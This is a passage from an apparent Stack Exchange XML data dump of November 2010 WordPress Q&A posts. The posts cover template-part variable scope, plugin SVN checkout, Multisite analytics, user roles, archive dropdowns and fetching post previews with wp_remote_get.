bit to me that this plugin is has some weird settings that prevent to checkout it. So any hints on this? Better ask that question over at SE?&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-11-23T23:00:30.647" Title="How to checkout the wordpress.org plugin repository?" Tags="&lt;plugins&gt;&lt;wordpress.org&gt;&lt;repository&gt;" AnswerCount="1" CommentCount="5" />
  <row Id="4458" PostTypeId="1" CreationDate="2010-11-23T21:20:42.340" Score="0" ViewCount="93" Body="&lt;p&gt;On my blog WordPress returns an empty post with today's date if I do a search for one letter, e.g. ?s=a or ?s=q&#xA;Is this a known bug, and how do I fix it?&lt;/p&gt;&#xA;" OwnerUserId="1637" LastActivityDate="2010-11-23T21:50:32.583" Title="Searching for one letter returns extra empty post" Tags="&lt;search&gt;" AnswerCount="1" />
  <row Id="4459" PostTypeId="2" ParentId="3927" CreationDate="2010-11-23T21:25:57.487" Score="1" ViewCount="" Body="&lt;p&gt;It works - but next time i go to the reading settings, the Front Page - selection box displays just the &quot;-- Select --&quot; entry, not the custom type page i've selected before.&lt;/p&gt;&#xA;" LastActivityDate="2010-11-23T21:25:57.487" />
  <row Id="4460" PostTypeId="2" ParentId="4458" CreationDate="2010-11-23T21:50:32.583" Score="1" ViewCount="" Body="&lt;p&gt;Searching using just one letter isn't really a good thing to do. Result wise, many posts &lt;em&gt;should&lt;/em&gt; match the search query. On my site and testbed it does return results, I don't think they are particularly valid, but there are results. So it sounds like something is up with your install, but unless it is causing other issues, I wouldn't really worry about it.&lt;/p&gt;&#xA;" OwnerUserId="1078" LastActivityDate="2010-11-23T21:50:32.583" />
  <row Id="4461" PostTypeId="1" CreationDate="2010-11-23T22:05:10.367" Score="1" ViewCount="152" Body="&lt;p&gt;What I need is an event calendar to display both the english and Jewish dates, but have it be based on the hebrew date. With this people could input the date of an anniversary and have it reappear every year on the hebrew date and just show what date that would translate to in the english calendar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've seen this calendar &lt;a href=&quot;http://wordpress.org/extend/plugins/events-calendar/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/events-calendar/&lt;/a&gt;, which is perfect, only it doesn't have the Jewish dates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would I go about doing this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you very much in advance.&lt;/p&gt;&#xA;" OwnerUserId="1675" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-11-23T23:14:40.150" LastActivityDate="2010-11-23T23:56:47.160" Title="How to get a Jewish/English event calendar on a page in WordPress?" Tags="&lt;plugins&gt;&lt;plugin-recommendation&gt;&lt;calendar&gt;&lt;plugin-events-calendar&gt;" AnswerCount="1" />
  <row Id="4462" PostTypeId="1" AcceptedAnswerId="4471" CreationDate="2010-11-23T22:07:09.433" Score="6" ViewCount="837" Body="&lt;p&gt;While I've typically used include or require on their own to save long term code maintenance I've started to use get_template_part and locate_template as using built in WordPress stuff is always best.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is are you supposed to be able to pass variables through to the results of either get_template_part or locate_template?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$var = get_option( 'my-custom-option' );&#xA;&#xA;get_template_part( 'custom-template-part' );&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the code above the $var would be printed inside the custom template but the variable doesn't seem to work. Am I missing something or is this expected behaviour?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've found that they don't pass in the instance above or when using locate_template&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;locate_template( 'custom-template-part.php', true );&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="141" LastActivityDate="2010-11-23T23:38:15.047" Title="Passing Variables through locate_template" Tags="&lt;get-template-part&gt;&lt;include&gt;" AnswerCount="2" FavoriteCount="3" />
  <row Id="4464" PostTypeId="1" AcceptedAnswerId="4560" CreationDate="2010-11-23T22:27:17.587" Score="0" ViewCount="102" Body="&lt;p&gt;My theme options save routine is below. I'm finding that if the $value['id'] being passed from my options array has a period in it, the data does not get passed and the options appear to break at that point. Should I opt for another character or is there a workaround for using the period character in an option name? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, this works fine:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &quot;id&quot; =&amp;gt; &quot;myTheme_color|sidebar&quot;,&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but this does not (no data is passed for the value):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &quot;id&quot; =&amp;gt; &quot;myTheme_color.sidebar&quot;,&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The save function is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function mytheme_add_admin(){&#xA;global $themename, $shortname, $options; &#xA;if ( $_GET['page'] == basename(__FILE__) )&#xA;{&#xA;    if ( 'save' == $_REQUEST['action'] ) &#xA;    {&#xA;        foreach ($options as $value) &#xA;        {&#xA;            update_option( $value['id'], stripslashes($_REQUEST[$value['id']]) ); &#xA;        }&#xA;        foreach ($options as $value) &#xA;        {&#xA;            if( isset( $_REQUEST[ $value['id'] ] ) ) &#xA;            {&#xA;                update_option( $value['id'], stripslashes($_REQUEST[ $value['id'] ])  ); &#xA;            echo $value['id'].&quot;: &quot;.$_REQUEST[$value['id']].&quot;&amp;lt;br&amp;gt;&quot;;&#xA;            echo $value['id'].&quot;: &quot;.stripslashes($_REQUEST[$value['id']]).&quot;&amp;lt;br&amp;gt;&quot;;&#xA;            } &#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastEditorUserId="366" LastEditorDisplayName="" LastEditDate="2010-11-23T22:51:22.433" LastActivityDate="2010-11-26T20:02:26.417" Title="Dot &quot;.&quot; in option value foobars save options function" Tags="&lt;theme-development&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="4465" PostTypeId="2" ParentId="4410" CreationDate="2010-11-23T22:29:08.330" Score="2" ViewCount="" Body="&lt;p&gt;It depends on your theme. With most themes you'll have to manually edit the CSS to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But some themes have control panels that allow you to make changes to the design without editing the code. If you'd rather not write code but would like to make changes to your site, I'd suggest using a theme with design options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some are very simple, just a few color choices or layouts to choose from, but others have hundreds of options. There are some free ones in the theme directory like &lt;a href=&quot;http://wordpress.org/extend/themes/constructor&quot; rel=&quot;nofollow&quot;&gt;Constructor&lt;/a&gt; and &lt;a href=&quot;http://wordpress.org/extend/themes/platform&quot; rel=&quot;nofollow&quot;&gt;Platform&lt;/a&gt;, check out the &lt;a href=&quot;http://wordpress.org/extend/themes/tags/theme-options&quot; rel=&quot;nofollow&quot;&gt;theme-options tag&lt;/a&gt; to see all the themes which should have control panels.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course there are also commercial themes which have these features as well, like &lt;a href=&quot;http://ithemes.com/purchase/builder-theme/&quot; rel=&quot;nofollow&quot;&gt;Builder&lt;/a&gt; and &lt;a href=&quot;http://www.studiopress.com/themes/prose&quot; rel=&quot;nofollow&quot;&gt;Prose&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1059" LastActivityDate="2010-11-23T22:29:08.330" CommentCount="2" />
  <row Id="4466" PostTypeId="2" ParentId="4462" CreationDate="2010-11-23T22:30:12.017" Score="4" ViewCount="" Body="&lt;p&gt;I've had trouble with this too (while trying to get a custom query to work with a template part). The short answer is: no, the template part doesn't automatically inherit custom vars the way a regular include does.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both get_template_part() and locate_template() eventually use the load_template() function to actually load the file (using a require). This function globalizes the following vars:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$posts, $post, $wp_did_header, $wp_did_template_redirect, $wp_query, $wp_rewrite, $wpdb, $wp_version, $wp, $id, $comment, $user_ID&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, no other vars appear to be available from inside the template part. I guess since the actual require is wrapped in a function, the scope changes or something?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyhoo, I'd try globalizing any additional vars you need to pass, then calling up those globals from your template part.&lt;/p&gt;&#xA;" OwnerUserId="1537" LastActivityDate="2010-11-23T22:30:12.017" />
  <row Id="4467" PostTypeId="2" ParentId="4408" CreationDate="2010-11-23T22:34:22.800" Score="1" ViewCount="" Body="&lt;p&gt;If you want to publish a headline and excerpt of your latest posts on a non-WordPress, I'd use FeedBurner's &lt;a href=&quot;http://www.google.com/support/feedburner/bin/answer.py?hl=en&amp;amp;answer=78976&quot; rel=&quot;nofollow&quot;&gt;BuzzBoost&lt;/a&gt; feature, it has always done the trick for me!&lt;/p&gt;&#xA;" OwnerUserId="1059" LastActivityDate="2010-11-23T22:34:22.800" />
  <row Id="4468" PostTypeId="2" ParentId="4457" CreationDate="2010-11-23T23:00:30.647" Score="1" ViewCount="" Body="&lt;p&gt;Okay, looks like this is a problem with windows. I tested this now under linux and it worked like a charm. I have no idea what is causing this, but that specific plugin which is problematic is looking wired in svn anyway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So solution is to use a SVN client on linux. It just works.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-11-23T23:00:30.647" CommentCount="4" />
  <row Id="4469" PostTypeId="2" ParentId="4408" CreationDate="2010-11-23T23:16:47.210" Score="1" ViewCount="" Body="&lt;p&gt;It doesn't get any better than &lt;a href=&quot;http://justintadlock.com/archives/2009/03/15/query-posts-widget-wordpress-plugin&quot; rel=&quot;nofollow&quot;&gt;http://justintadlock.com/archives/2009/03/15/query-posts-widget-wordpress-plugin&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2010-11-23T23:16:47.210" />
  <row Id="4470" PostTypeId="2" ParentId="4153" CreationDate="2010-11-23T23:24:29.923" Score="1" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;  To extract just the meta tags with the property attribute I put together the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  &amp;lt;?php &#xA;&#xA;ini_set('display_errors', false); &#xA;$page = &quot;http://www.youtube.com...(the video ID)&quot;; &#xA;$page_data = file_get_contents($page); &#xA;&#xA;$doc=new DOMDocument();&#xA;$doc-&amp;gt;loadHTML($page_data);&#xA;$xml=simplexml_import_dom($doc);&#xA;$meta=$xml-&amp;gt;xpath('//meta');&#xA;foreach ($meta as $met) &#xA;{&#xA; if ($met['property'] != '')&#xA; {&#xA;     echo '&amp;lt;meta property=&quot;'.$met['property'] . '&quot; content=&quot;' . $met['content'].&quot;\&quot;&amp;gt;\n&quot;;&#xA; }&#xA;}&#xA;ini_set('display_errors', true); &#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know its a bit hacky but it works. I think I am going to use this with one of the url video embedding plugins and set the meta info in the head of the template.&lt;/p&gt;&#xA;" OwnerUserId="1596" LastEditorUserId="1596" LastEditorDisplayName="" LastEditDate="2010-11-24T22:25:25.523" LastActivityDate="2010-11-24T22:25:25.523" />
  <row Id="4471" PostTypeId="2" ParentId="4462" CreationDate="2010-11-23T23:38:15.047" Score="6" ViewCount="" Body="&lt;p&gt;Like &lt;a href=&quot;http://wordpress.stackexchange.com/questions/4462/passing-variables-through-locate-template/4466#4466&quot;&gt;MathSmath wrote&lt;/a&gt;, &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_template&quot; rel=&quot;nofollow&quot;&gt;get_template()&lt;/a&gt; does not support the re-use of your variables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/locate_template&quot; rel=&quot;nofollow&quot;&gt;locate_template()&lt;/a&gt; infact does no inclusion at all. It just locates a file for inclusion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you can make use of &lt;a href=&quot;http://php.net/manual/en/function.include.php&quot; rel=&quot;nofollow&quot;&gt;include&lt;/a&gt; to have this working just like you expect it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;include(locate_template('custom-template-part.php'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$var&lt;/code&gt; from your example can be used in the template part then.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A related question with a more technical explanation of the variable scope and get_template(): &lt;a href=&quot;http://wordpress.stackexchange.com/questions/1779/form-submitting-error-with-get-template-part&quot;&gt;Form Submitting Error with get_template_part()&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-11-23T23:38:15.047" CommentCount="2" />
  <row Id="4472" PostTypeId="2" ParentId="4461" CreationDate="2010-11-23T23:56:47.160" Score="2" ViewCount="" Body="&lt;p&gt;You might be able to rip apart the plug-in using details from &lt;a href=&quot;http://www.ziporah-greve.net/prog/jewish-php.html&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;, perhaps?&lt;/p&gt;&#xA;" OwnerUserId="1288" LastActivityDate="2010-11-23T23:56:47.160" CommentCount="1" />
  <row Id="4473" PostTypeId="2" ParentId="3901" CreationDate="2010-11-24T01:27:05.103" Score="0" ViewCount="" Body="&lt;p&gt;Thanks to everyone. Here is the solution that I ultimately ended up with. Rather than messing around in the loop itself, I chose to hook into &lt;code&gt;the_post&lt;/code&gt; with a function that recreates the markup of the loop using data from &lt;code&gt;$links&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php&#xA;global $links;&#xA;global $links_count;&#xA;$links = get_bookmarks(&quot;limit=5&quot;);&#xA;&#xA;function dg_archive_insert_links(){&#xA;    global $post;&#xA;    if (!is_singular()){&#xA;        add_action('the_post', 'dg_insert_links');&#xA;    }&#xA;}&#xA;add_action('wp', 'dg_archive_insert_links');&#xA;&#xA;function dg_insert_links(){&#xA;    global $wp_query;&#xA;    global $links_count;&#xA;    global $links;&#xA;    if ( ($wp_query-&amp;gt;current_post % 3) == 0 &amp;amp;&amp;amp; ($wp_query-&amp;gt;current_post &amp;gt; 0) &amp;amp;&amp;amp; $links[$links_count]-&amp;gt;link_url):&#xA;    ?&amp;gt;&#xA;    &amp;lt;div class=&quot;post type-post hentry&quot;&amp;gt;     &#xA;        &amp;lt;h2&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php echo $links[$links_count]-&amp;gt;link_url; ?&amp;gt;&quot; rel=&quot;bookmark&quot; title='Click to read: &quot;&amp;lt;?php echo $links[$links_count]-&amp;gt;link_name; ?&amp;gt;&quot;'&amp;gt;&amp;lt;?php echo $links[$links_count]-&amp;gt;link_name; ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;        &amp;lt;?php if ($links[$links_count]-&amp;gt;link_description): ?&amp;gt;&amp;lt;div class=&quot;entry-summary&quot;&amp;gt;&amp;lt;?php echo $links[$links_count]-&amp;gt;link_description; ?&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;?php endif; ?&amp;gt;&#xA;        &amp;lt;?php if ($links[$links_count]-&amp;gt;link_image &amp;amp;&amp;amp; $links[$links_count]-&amp;gt;link_description): ?&amp;gt;&#xA;            &amp;lt;a href=&quot;&amp;lt;?php echo $links[$links_count]-&amp;gt;link_url; ?&amp;gt;&quot; rel=&quot;bookmark&quot; title=&quot;&amp;lt;?php echo $links[$links_count]-&amp;gt;link_description; ?&amp;gt;&quot; class=&quot;post_thumbnail&quot; &amp;gt;&amp;lt;img src=&quot;&amp;lt;?php echo $links[$links_count]-&amp;gt;link_image; ?&amp;gt;&quot; width=&quot;150px&quot; alt=&quot;&amp;lt;?php echo $links[$links_count]-&amp;gt;link_description; ?&amp;gt;&quot; /&amp;gt; &amp;lt;/a&amp;gt;&#xA;        &amp;lt;?php endif; ?&amp;gt;         &#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php&#xA;    $links_count++;&#xA;    endif;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There's no need to create a new var to count, since it already exists at &lt;code&gt;$wp_query-&amp;gt;current_post&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="10" LastActivityDate="2010-11-24T01:27:05.103" />
  <row Id="4474" PostTypeId="2" ParentId="4408" CreationDate="2010-11-24T02:08:46.383" Score="2" ViewCount="" Body="&lt;p&gt;For a non-WP site, &lt;a href=&quot;http://code.google.com/apis/feed/&quot; rel=&quot;nofollow&quot;&gt;Developer's Guide - Google AJAX Feed API - Google Code&lt;/a&gt; is easy to use.&lt;/p&gt;&#xA;" OwnerUserId="268" LastEditorUserId="268" LastEditorDisplayName="" LastEditDate="2010-11-25T02:18:01.107" LastActivityDate="2010-11-25T02:18:01.107" CommentCount="2" />
  <row Id="4476" PostTypeId="2" ParentId="4423" CreationDate="2010-11-24T05:44:00.523" Score="1" ViewCount="" Body="&lt;p&gt;The only project I know that is viable is rolopress, download it and see what you can adjust.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FYI I have a related question open here: &lt;a href=&quot;http://webapps.stackexchange.com/questions/9530/does-a-free-personal-relationship-system-exist-out-there/9545#9545&quot;&gt;http://webapps.stackexchange.com/questions/9530/does-a-free-personal-relationship-system-exist-out-there/9545#9545&lt;/a&gt; but for a PRM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the thing you are looking for is I think not a CRM system but a PM/software project system, all your requirements are met with RTC ( &lt;a href=&quot;http://www.jazz.net&quot; rel=&quot;nofollow&quot;&gt;http://www.jazz.net&lt;/a&gt; ), free for 10 users. It has chat, users, projects, projectmanagement, tickets, version control, reports, your (agile/RUP/UP/whatever) planning and project approach etc... and all integrated. You can have rss feeds on everything and it has a REST, etc.. possibilites and an API. I have not tried version 3 yet: &lt;a href=&quot;http://jazz.net/blog/index.php/2010/11/23/rational-team-concert-3-0-released/&quot; rel=&quot;nofollow&quot;&gt;http://jazz.net/blog/index.php/2010/11/23/rational-team-concert-3-0-released/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="576" LastEditorUserId="576" LastEditorDisplayName="" LastEditDate="2010-11-24T05:56:33.153" LastActivityDate="2010-11-24T05:56:33.153" CommentCount="1" />
  <row Id="4477" PostTypeId="2" ParentId="3931" CreationDate="2010-11-24T09:43:34.657" Score="0" ViewCount="" Body="&lt;p&gt;I found he answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem was that my URL looked like this: &lt;code&gt;www.mysite.com/wp-category/&lt;/code&gt;.&lt;br&gt;&#xA;This was wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The right way was this: &lt;code&gt;www.mysite.com/category/wp-category/&lt;/code&gt;.&lt;br&gt;&#xA;Now it works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought that since I was using the following permalink: &lt;code&gt;/%category%/%postname%/&lt;/code&gt;,  did not need the extra &lt;code&gt;/category/&lt;/code&gt; in my URL. But now I know.&lt;/p&gt;&#xA;" OwnerUserId="1447" LastActivityDate="2010-11-24T09:43:34.657" />
  <row Id="4478" PostTypeId="1" AcceptedAnswerId="4485" CreationDate="2010-11-24T10:02:12.580" Score="2" ViewCount="144" Body="&lt;p&gt;I have WP Multisite and now I want to track the different sites.&lt;br&gt;&#xA;I'm using Multisite Domain Mapping to map &lt;code&gt;www.mysite.com&lt;/code&gt; to &lt;code&gt;http://subsite.mysite.com&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My questions is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;a)&lt;/strong&gt; Do I need to add the same google analytics script to all themes?&lt;br&gt;&#xA;&lt;strong&gt;b)&lt;/strong&gt; when creating the script at GA, I have the following choices:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A single domain (default)&lt;/li&gt;&#xA;&lt;li&gt;One domain with multiple subdomains&lt;/li&gt;&#xA;&lt;li&gt;Multiple top-level domains&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Do I use nr 2 or 3?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know there are plugins I can use. But I still have to create the scripts at GA, right?&lt;/p&gt;&#xA;" OwnerUserId="1447" LastActivityDate="2010-11-24T17:55:44.070" Title="What type of Google tracking should I use?" Tags="&lt;multisite&gt;&lt;google-analytics&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="4479" PostTypeId="1" CreationDate="2010-11-24T10:34:04.240" Score="4" ViewCount="741" Body="&lt;p&gt;I have set up a WordPress site for a client.  The client has the Editor role, however I have installed the &lt;a href=&quot;http://wordpress.org/extend/plugins/members/&quot; rel=&quot;nofollow&quot;&gt;Members plugin&lt;/a&gt; and given the client the capability to add new users to the WP admin.  This is working just fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question I have is that I would like for the client to have the ability to create new user as with the roles of a Contributor, Subscriber, Editor and Author, but NOT Administrator.  The new users the client creates should not have the Administrator role.  Is it possible to hide this option somehow?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&#xA;Vayu&lt;/p&gt;&#xA;" OwnerUserId="1678" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2010-11-26T16:58:09.393" LastActivityDate="2010-12-30T17:33:53.030" Title="Editor can create any new user except administrator" Tags="&lt;users&gt;&lt;capabilities&gt;&lt;roles&gt;&lt;plugin-members&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="3" />
  <row Id="4481" PostTypeId="1" CreationDate="2010-11-24T11:43:56.950" Score="2" ViewCount="621" Body="&lt;p&gt;I am creating a plugin and have a problem,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this code gives my all months that post were added:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        &amp;lt;select name=&quot;sdate&quot; id=&quot;sdate&quot;&amp;gt;&#xA;    &amp;lt;?php wp_get_archives('format=option'); ?&amp;gt;&#xA;        &amp;lt;/select&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the problem is that i dont get dates that only pages were added. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;basicaly, i want dropdown thats gonna list every year+month (for example &quot;September 2010&quot;) that something was added with value like &quot;year-month&quot; (for example &quot;2010-05&quot;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something that you can see working on Wordpress Export page, but copied code is not working for me.&lt;/p&gt;&#xA;" OwnerUserId="1681" LastEditorUserId="1681" LastEditorDisplayName="" LastEditDate="2010-11-24T11:50:14.043" LastActivityDate="2010-11-25T15:15:50.157" Title="How do I make wp_get_archives show me months where only pages were created?" Tags="&lt;archive&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" />
  <row Id="4483" PostTypeId="2" ParentId="4478" CreationDate="2010-11-24T12:28:13.087" Score="2" ViewCount="" Body="&lt;p&gt;You need to find the right setup at GA first. There is an option where you select if you want to use it on a single domain or on multiple domains. Please see the description there as it depends on what you want to do on your site - and you have multiple options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After you've made your mind about how you want to have it configured you should select the appropriate plugin and configuration. I don't know from top of my head which of the many is fitting for a multi-site multi-domain setup. Probably other readers can share some practical experience for a recommendation.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-11-24T12:28:13.087" />
  <row Id="4485" PostTypeId="2" ParentId="4478" CreationDate="2010-11-24T12:42:12.593" Score="4" ViewCount="" Body="&lt;p&gt;Hook the script into the footer, which is easy enough.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wpmututorials.com/plugins/how-to-hook-into-the-footer/&quot; rel=&quot;nofollow&quot;&gt;http://wpmututorials.com/plugins/how-to-hook-into-the-footer/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As stated in the post, toss that into mu-plugins, it will track all your site, regardless of domain. GA can sort it out on their end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;totally do-able.&lt;/p&gt;&#xA;" OwnerUserId="1391" LastActivityDate="2010-11-24T12:42:12.593" CommentCount="1" />
  <row Id="4486" PostTypeId="1" AcceptedAnswerId="4487" CreationDate="2010-11-24T14:23:14.923" Score="1" ViewCount="111" Body="&lt;p&gt;In the code below, I'm attempting to get a reference to the body content of the current post's fully rendered preview...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$response = wp_remote_retrieve_body(wp_remote_get('http://localhost/mysite/test-post/?preview=true&amp;amp;preview_id=28&amp;amp;preview_nonce=640bc54ca4'));&#xA;$post-&amp;gt;post_content =  $response;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm just sending it to $post-&gt;post_content so that I can easily see it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's part of what it returns...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;body id=&quot;error-page&quot;&amp;gt;&#xA;&amp;lt;p&amp;gt;You do not have permission to preview drafts.&amp;lt;/p&amp;gt;&amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm logged in as the administrator, so obviously I'm calling the preview wrong. How can I pass the URL in wp_remote_get to obtain the body section of the preview stream?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I use...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$post-&amp;gt;post_content =  &quot;&amp;lt;pre&amp;gt;&quot;.$response['body'].&quot;&amp;lt;/pre&amp;gt;&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;pre&amp;gt;&amp;lt;&amp;lt;/pre&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastEditorUserId="366" LastEditorDisplayName="" LastEditDate="2010-11-24T14:34:28.767" LastActivityDate="2010-11-24T14:57:44.823" Title="What URL do you pass to wp_remote_get to load the body of the current post's preview?" Tags="&lt;plugin-development&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="4487" PostTypeId="2" ParentId="4486" CreationDate="2010-11-24T14:57:44.823" Score="3" ViewCount="" Body="&lt;p&gt;The URL is okay, what you need to add are cookies that authenticate you as the user who is allowed to see the preview. That is basically sending headers. I would start with the &lt;a href=&quot;http://codex.wordpress.org/HTTP_API&quot; rel=&quot;nofollow&quot;&gt;HTTP API (Wordpress Codex)&lt;/a&gt; looking for a method to add additional HTTP headers and set your cookies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise - because probably this is somewhat complicated - you could take a look inside the preview code so to see if you can provide a hook to control access to previews. If possible, you can add some secret parameter to the URL which would allow you to preview any page w/o the need of being logged in (and the need of a nonce as it needs to be provided for preview as well).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The result of either the first or the second approach is quite the same, the only difference would be how to trigger it.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-11-24T14:57:44.823" CommentCount="1" />
  <row Id="4488" PostTypeId="2" ParentId="1733" CreationDate="2010-11-24T15:08:35.740" Score="0" ViewCount="" Body="&lt;p&gt;I think the ultimate solution to this problem would be to modify the plugin from&#xA;&lt;a href=&quot;http://www.seoadsensethemes.com/wordpress-wp-post-thumbnail-plugin/&quot; rel=&quot;nofollow&quot;&gt;http://www.seoadsensethemes.com/wordpress-wp-post-thumbnail-plugin/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and customize it so that any custom image sizes defined within your functions.php file  (using &lt;code&gt;add_image_size( 'new_thumb', 200, 100, true );&lt;/code&gt; ) automatically get used and then get the code to replace (or extend) the &quot;edit&quot; link when you want to modify an image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Utilizing this approach wordpress can continue to create its applicable image sizes as it normally does but if you want to specifically modify the cropped area of any specific image you have the ability of doing so which in turn would replace the automatically generated image for that size. Hmmm... although that sounds confusing reading over it again its exactly what I feel is missing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently I believe the plugin saves these custom image sizes to a custom field within a post instead of a the post for an applicable image.&lt;/p&gt;&#xA;" OwnerUserId="479" LastActivityDate="2010-11-24T15:08:35.740" />
  <row Id="4489" PostTypeId="2" ParentId="3927" CreationDate="2010-11-24T15:25:46.850" Score="0" ViewCount="" Body="&lt;p&gt;The solution works but I ran into the same problem as the OP. On the reading page the select returns to -select- , and on the site homepage the url shows the complete url path (http://mysite.com/book/this-is-a-book-test)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the problems may be due to the function needing all three...&#xA;show_on_front&#xA;page_on_front&#xA;page_for_posts&lt;/p&gt;&#xA;" LastActivityDate="2010-11-24T15:25:46.850" />
